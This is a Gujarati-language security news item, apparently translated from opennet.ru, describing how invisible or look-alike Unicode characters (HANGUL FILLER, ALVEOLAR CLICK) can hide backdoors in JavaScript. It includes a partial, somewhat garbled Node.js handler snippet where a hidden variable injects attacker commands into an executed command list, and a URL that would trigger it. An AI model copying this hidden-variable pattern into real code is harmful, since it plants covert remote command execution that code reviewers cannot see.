જાવાસ્ક્રિપ્ટ કોડમાં ક્રિયાઓ છુપાવવા માટે અદ્રશ્ય યુનિકોડ અક્ષરોનો ઉપયોગ કરવો

ટ્રોજન સોર્સ એટેક પદ્ધતિને અનુસરીને, જે દ્વિદિશ ટેક્સ્ટના ડિસ્પ્લે ક્રમને ઉલટાવી દેવા માટે યુનિકોડ અક્ષરો પર આધાર રાખે છે, છુપાયેલા ક્રિયાઓને ઇન્જેક્ટ કરવા માટેની બીજી તકનીક પ્રકાશિત કરવામાં આવી છે, જે જાવાસ્ક્રિપ્ટ કોડ પર લાગુ પડે છે. નવી પદ્ધતિ યુનિકોડ અક્ષર "ㅤ" (કોડ 0x3164, "HANGUL FILLER") પર આધાર રાખે છે, જેને અક્ષર તરીકે વર્ગીકૃત કરવામાં આવે છે પરંતુ તેમાં કોઈ દૃશ્યમાન સામગ્રી નથી. યુનિકોડ શ્રેણી, જેમાં આ અક્ષરનો સમાવેશ થાય છે, તેને ECMAScript 2015 સ્પષ્ટીકરણથી JavaScript ચલ નામોમાં ઉપયોગ માટે મંજૂરી આપવામાં આવી છે, જેનાથી નોટપેડ++ અને VS કોડ જેવા લોકપ્રિય કોડ એડિટર્સમાં અન્ય ચલોથી અલગ ન પડે તેવા અદ્રશ્ય ચલો અથવા નવા ચલો બનાવવાનું શક્ય બને છે.

ઉદાહરણ તરીકે, Node.js પ્લેટફોર્મ માટેનો કોડ આપવામાં આવ્યો છે, જેમાં એક જ અક્ષર "ㅤ" ધરાવતા ચલનો ઉપયોગ કરીને બેકડોર છુપાવવામાં આવે છે, જે હુમલાખોર દ્વારા ઉલ્લેખિત કોડને એક્ઝિક્યુટ કરવાની મંજૂરી આપે છે: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // હકીકતમાં, તે "const { timeout,ㅤ \u3164}" કહે છે const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // અલ્પવિરામ પછી અક્ષર \u3164 ] આવે છે;

પ્રથમ નજરમાં, ફક્ત સમયસમાપ્તિ મૂલ્ય બાહ્ય પરિમાણમાંથી પસાર થાય છે, અને એક્ઝિક્યુટ કરેલા આદેશોના એરેમાં એક હાનિકારક, નિશ્ચિત સૂચિ હોય છે. જો કે, સમયસમાપ્તિ ચલ પછી, અક્ષર કોડ \u3164 સાથેના બીજા અદ્રશ્ય ચલનું મૂલ્ય સોંપવામાં આવે છે, જે એક્ઝિક્યુટેબલ આદેશોના એરેમાં પણ બદલાય છે. તેથી, આવા બાંધકામ સાથે, હુમલાખોર બેકડોરને સક્રિય કરવા અને તેમના કોડને એક્ઝિક્યુટ કરવા માટે "https://host:8080/network_health?%E3%85%A4=command" જેવી વિનંતી મોકલી શકે છે.

બીજું ઉદાહરણ "ǃ" (ALVEOLAR CLICK) અક્ષર છે, જેનો ઉપયોગ ઉદ્ગારવાચક બિંદુનો દેખાવ બનાવવા માટે થઈ શકે છે. ઉદાહરણ તરીકે, Node.js 14 માં એક્ઝિક્યુટ કરવામાં આવે ત્યારે "if(environmentǃ=ENV_PROD){" અભિવ્યક્તિ હંમેશા true તરીકે મૂલ્યાંકન કરશે, કારણ કે તે તફાવત તપાસતું નથી, પરંતુ "environmentǃ" ચલને ENV_PROD મૂલ્ય સોંપે છે. અન્ય ગેરમાર્ગે દોરતા યુનિકોડ અક્ષરોમાં "／", "−", "＋", "⩵", "❨", "⫽", "꓿", અને "∗" શામેલ છે.

સોર્સ: opennet.ru